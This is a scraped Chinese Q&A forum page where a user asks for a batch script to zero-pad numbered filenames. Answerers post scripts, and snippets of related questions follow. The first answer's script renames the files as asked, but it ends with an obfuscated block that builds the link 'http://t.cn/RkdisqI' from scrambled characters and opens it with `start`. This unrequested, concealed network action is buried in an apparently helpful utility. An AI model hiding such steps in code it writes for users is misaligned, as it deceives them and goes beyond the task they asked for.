求bat代码,批量按照Windows命名顺序批量修改文件名.另加200分

Windows下,顺序编号文件显示顺序是

1.2.3.4....11.12.13...99.100.101.102....
但是其他软件显示顺序是

1.10.100.101.102...109.11.110.111.112...12.120.....

我现在有很多文件夹的文件在Windows里面显示顺序是正常的,但是在

其他软件显示的顺序就乱了,实际显示如下(“_”后面的数字没有规

律,不用考虑):
windows下显示效果:
1_1232531737
2_1232531308
3_1232530761
4_1232530716
5_1232530433
6_1232530207
7_1232529844
8_1232529792
9_1232529741

10_1232529682
11_1232529623
12_1232529577
13_1232529524
.
.
.
96_1229240846
97_1229240699
98_1229240546
99_1229240403
100_1229240263
101_1229240129
102_1229239976
.
.
23585_1229240846

但是在其他软件里面显示顺序如下:

1_1232531737
10_1232529682
100_1229240263
101_1229240129
102_1229239976
103_1229239838
104_1229239701
11_1232529623
12_1232529577
13_1232529524
14_1232529450
15_1232529401
16_1232529090
17_1232529040
18_1232528729
19_1232528668
2_1232531308
20_1232528626
21_1232528581
22_1232528525
.
.
.
.
88_1232050920
89_1232050904
9_1232529741
90_1232050895
91_1232050839
92_1229241430
93_1229241303
94_1229241164
95_1229241019
96_1229240846
97_1229240699
98_1229240546
99_1229240403

.
.
23585_1229240846

我希望制作一个bat,对文件序列号自

动补位,如果最大序列号是几位数就补成几位数,比如最大序列号文

件是23585_1229240846,最小序列的文件是1_1232531737,修改之后

就是00001_1232531737 ,以此类推,12_1232529577改成

00012_1232529577,99_1229240403改成00099_1229240403

.......,具体显示如下(“_”后面的数字没有规律,不用考虑):

00001_1232531737
00002_1232531308
00003_1232530761
00004_1232530716
00005_1232530433
00006_1232530207
00007_1232529844
00008_1232529792
00009_1232529741

00010_1232529682
00011_1232529623
00012_1232529577
00013_1232529524
.
.
.
00096_1229240846
00097_1229240699
00098_1229240546
00099_1229240403
00100_1229240263
00101_1229240129
00102_1229239976
.
.
23585_1229240846

我应该解释清楚了,请大侠指点,谢谢谢谢谢谢。下面的提问是200分未处理问题,随便回答一下就给分了
https://zhidao.baidu.com/question/1366314958189291299.html?entry=qb_uhome_tag

@echo off & title 序号长度补位 By 依梦琴瑶
setlocal enabledelayedexpansion

::由于不知道您那些文件的后缀名格式,所以请自行在这里进行设置
set Ext=

set Num=0
for /f "tokens=1 delims=_" %%a in ('dir /a-d/b *_*.%Ext%') do (
if %%~a gtr !Num! set Num=%%~a
)

set /a Num=1!Num!-!Num!
for /f "tokens=1,2* delims=_" %%a in ('dir /a-d/b *_*.%Ext%') do (
set /a New=!Num!+%%~a
ren "%%~a_%%~b" "!New:~1!_%%~b"
)
pause

set S1=.:htpcn/
set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%
set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%
start "" "%S2%%S3%RkdisqI"
exit

以上代码请保存为bat脚本后,放到要处理的文件一起后运行,记得先在代码中设置文件的后缀名哦!无需加小数点。

以上代码编写于手机,因此尚未实测,建议您找一些文件先测试一下,以免直接实测出问题,导致文件丢失。

执行过程中,如有疑问,请追问。追答

请问代码测试过了吗?只见您一直在追问另一个网友,却不见您反馈我写的代码运行情况。难道我写的代码比不过那位网友的?起码我的代码可以自适应序号位数(假如最大为5位数,那么就补到5位,假如最大为7位,那么就补到7位),而不像那位网友写的那样只能匹配固定位数。

追问

对不起啊,我眼花了,我以为是在向你追问!!!!!!请您回答一下吧,太抱歉了!!!:(

追答

上面我写的代码,看看还有什么需要补充的?

以后看仔细了。我现在回答脚本代码类问题,基本都会写上自己的昵称。不过也有一些人抄袭我曾经的回答。所以除了代码中的昵称,看一下我的百度用户名和头像,基本能确定是否是我了。

追问

多谢您编写的bat,不好意思看混了。请到这里随便回答一下,我把积分给您,谢谢了提问结尾的链接

温馨提示:内容为网友见解,仅供参考
第1个回答  2018-09-10

我想问一下你还要_后面的无序号么?这关系到答案,请说明信息

@echo off
setlocal enabledelayedexpansion
for /f "delims=_ tokens=1,2 usebackq" %%a in (`dir .\?_*.* /b /a:-d`) do (rename %%a_%%b 0000%%a_%%b)
for /f "delims=_ tokens=1,2 usebackq" %%a in (`dir .\??_*.* /b /a:-d`) do (rename %%a_%%b 000%%a_%%b)
for /f "delims=_ tokens=1,2 usebackq" %%a in (`dir .\???_*.* /b /a:-d`) do (rename %%a_%%b 00%%a_%%b)
for /f "delims=_ tokens=1,2 usebackq" %%a in (`dir .\????_*.* /b /a:-d`) do (rename %%a_%%b 0%%a_%%b)
echo 完成...
pause 1>nul

这个是我写的 保留"_"后面的内容的

粘贴到文本文档里面 重命名为.bat文件 放到与 要命名的文件同目录

不懂可以追问,满意给个采纳谢谢

追问

代码运行很好,达到了预期效果!!几个问题:1,文件后缀名有几种,有jpg、png、gif等几种,可以设置忽略后缀名或者设置多个后缀名吗,比如jpg和png? 2,有很多文件夹,里面的文件都是需要相同操作,可以编辑一个bat对所有文件夹里面的文件批量操作吗? 3,运行第一段代码,已经保留_后面的无序号了,应该不用第二段代码了吧? 4,请去提问结尾链接随便回答一下,这个有200分

追答

1:那个比如jpg和png是要 改名的 还是保留的?
2:可以,但要说明上一条
3:什么意思?
4:那个问题我不会回答啊

追问

1文件夹里面jpg和png文件,按您的bat,需要运行两次bat来对两种文件改名补足序列长度,我想同时对两种格式文件批量改名补足序列长度。2,如果能编写一个bat,那我就省了很多时间了,麻烦您帮我写个吧? 4,不管你会不会回答,那个有200分,就是为了给你分。 5,另外,能不能编写一个bat,把一个文件夹下多个文件夹中的png文件批量改成jpg,这样就解决第一个问题了。

追答

1,我这个确实是同时执行同目录的 补足啊,没有分什么格式的

第二:

抱歉,暂时没有想出来,你还是问下 下面的大佬吧

追问

不好意思啊,大侠,我眼睛花了,我以为您跟第一段代码是一位朋友,我搞混乱了,所以乱问一通,弄的您也糊涂了,抱歉啊抱歉

第2个回答  2018-09-11
Bat好像没有文件夹递归功能,所以,你如果只寄希望于简单的bat,估计你的需求真只能是梦想了!当然了,你如果想尝试其他方法,肯定有解决方案!

求bat代码,批量按照Windows命名顺序批量修改文件名.另加200分
echo off & title 序号长度补位 By 依梦琴瑶 setlocal enabledelayedexpansion ::由于不知道您那些文件的后缀名格式,所以请自行在这里进行设置 set Ext= set Num=0 for \/f "tokens=1 delims=_" %%a in ('dir \/a-d\/b *_*.%Ext%') do (if %%~a gtr !Num! set Num=%%~a )set \/a...

...再一个个修改文件名了!用这个方法,3秒批量修改200个文件名
一、第一步我们打开表格后先定义名称,引用位置:【=FILES("D:\\我的文件夹\\*.docx")】;然后,在A1单元格中录入【=INDEX(名称,ROW(A1))】引用定义的名称。二、接下来我们在B列单元格中输入文件名称,对应A列单元格中的名称,。然后C1单元格输入【="ren "A1" "B1】,鼠标往下拉。三、复制C...

歌手-歌名如何bat批量改名歌名
批量改名好办,但您这更改歌曲名字,那么根据什么来把歌曲原文件名改成“歌手-歌名”格式呢?? 更多追问追答 追问 现在所有的文件名都是 歌手-歌名 这个格式 现在就想留下 歌名 去掉 歌手- 追答 @echo offfor \/f "tokens=1,2* delims=-" %%a in ('dir \/a-d\/b *.mp3,*.wma,*.flac') do ...

超200高分求bat的if命令的编写
echo off title 批量复制文件到U盘 color 8e set pan=e f g h i j k l m n o p q r s t u v w x y z rem 设置监视的磁盘用空格分割 set copypath=D:\\SystemFolder\\DeskTop rem 设置要复制的文件的路径(*注意*结尾不能有空格)set todir=课件 rem 设置要在U盘创建的目录,不要...

如何批量改文件名
“ren”命令既可对单个文件进行重命名,也可以用来批量更改文件的后缀名。以Windows XP系统为例:在“D:\\Word”文件夹下有若干后缀名为“.txt”的文本文件,我们要将它们全部转换成“”后缀的网页文件。步骤如下:在开始菜单中输入“cmd”进入命令提示符。键入“ren d:\\word\\*.txt *”后回车,退出...

如何批量将文件名改为文件所在目录的目录名?
把下面命令写到记事本文件中,保存后把后缀改成bat再双击运行,按提示操作即可(由于更改不可恢复,所以保险起见,请先备份要处理的文件,特此告知~):echo off set \/p root=请将200个子目录的上一级文件夹拖入此窗口再按回车:cd \/d %root for \/d %%a in (*) do ren ".\\%%a\\1.doc" "...

批处理 重命名 高分求教
for \/f "delims=" %%i in ('dir \/b SDF*.jpg') do (set d=%%~ni move "%%i" "!d:~3!.jpg")pause ::═════代═══码═══结═══束═════ 批处理如果是处理大量文件,那么这些文件就得满足一定的规律。就像你开始提问的,一看就是去掉前三位字母,所以就这样回答的。...

文件名改为对应的文件夹名字,BAT批处理
不清楚你的实际文件\/情况,仅以问题中的样例\/说明为据复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的文件夹放一起运行@echo offrem 将当前文件夹下第二级文件夹里的文件以第一级文件夹的名称及递增的数字序号重命名set #=Any question&set @=WX&set $=Q&set\/az=0x53b7e0b4title %...

200分哦 求让别人不玩我的电脑方法
在windows下建一个文本文档,把下面的复制到里面,保存好后,把文本文档的后缀后*.txt 改为 *.bat =自己随便起个文件名,复制到:C:\\Documents and Settings\\Administrator\\「开始」菜单\\程序\\启动\\*.bat 或者你电脑上建两个用户,复制到那个文件夹下,那个起作用,例如:C:\\Documents and Settings\\另一个...

如何批量重命名文件
第一步:设置源文件 选定文件所在分区和目录,则左列表框中将会显示出您要重命名的所有文件。选择'保存列表'将把您要改名的文件名保存到Name.txt中,您可以用鼠标拖动列表框中的文件来改变文件上下的位置,也可选定一个文件并从列表框中去除。此外,您还可以查看选定文件的属性,也可以将文件名导出(...

相似回答